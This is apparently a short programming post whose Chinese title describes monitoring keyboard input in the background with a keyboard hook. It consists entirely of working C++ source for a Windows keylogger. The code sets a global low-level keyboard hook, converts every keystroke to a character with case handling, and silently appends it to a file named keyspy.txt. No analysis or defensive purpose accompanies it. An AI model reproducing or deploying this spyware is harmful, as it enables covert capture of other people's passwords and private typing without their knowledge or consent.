用键盘钩子截获键盘消息，后台监控键盘输入

#include <iostream>
#include <Windows.h>
#include <stdio.h>
using namespace std;

HINSTANCE g_Instance;   // Handler of current instance
HHOOK     g_Hook;       // Handler of hook

BOOL SetHook();
BOOL UnSetHook();

static LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);

bool IsCaptialState()
{
    bool IsCapital = false;
    bool IsShiftDown = false;
    if (GetKeyState(VK_CAPITAL))
    {
        IsCapital = true;
    }


    if (GetAsyncKeyState(VK_SHIFT))
    {
        IsShiftDown = true;
    }

    bool bFinalState = IsCapital ^ IsShiftDown;
    return bFinalState;
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    char ch = 0;
    FILE *stream = NULL;
    if (wParam == WM_KEYDOWN)
    {
        KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam; 
        freopen_s(&stream, "keyspy.txt","a",stdout);
        ch = MapVirtualKey(pStruct->vkCode, 2);
        if (ch>='A' && ch <='Z' && !IsCaptialState())
        {
            ch = ch + 32;
        }
        printf("%c", ch);
        fclose(stream);
    }
    return ::CallNextHookEx(g_Hook, nCode, wParam, lParam);
}

BOOL SetHook()
{
    if (g_Instance || g_Hook) // Already hooked!
        return TRUE;

    g_Instance = (HINSTANCE)::GetModuleHandle(NULL);
    g_Hook     = ::SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, g_Instance, 0);
    if (!g_Hook)
    {
        return FALSE;
    }
    return TRUE; // Hook has been created correctly
}


BOOL UnSetHook()
{
    if (g_Hook) { // Check if hook handler is valid
        ::UnhookWindowsHookEx(g_Hook); // Unhook is done here
        g_Hook = NULL; // Remove hook handler to avoid to use it again
    }

    return TRUE; // Hook has been removed
}

int main()
{
    if (!SetHook())
        return -1;
    MSG msg;
    while(::GetMessage(&msg, NULL, 0, 0) > 0)
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    UnSetHook();
    return 0;
}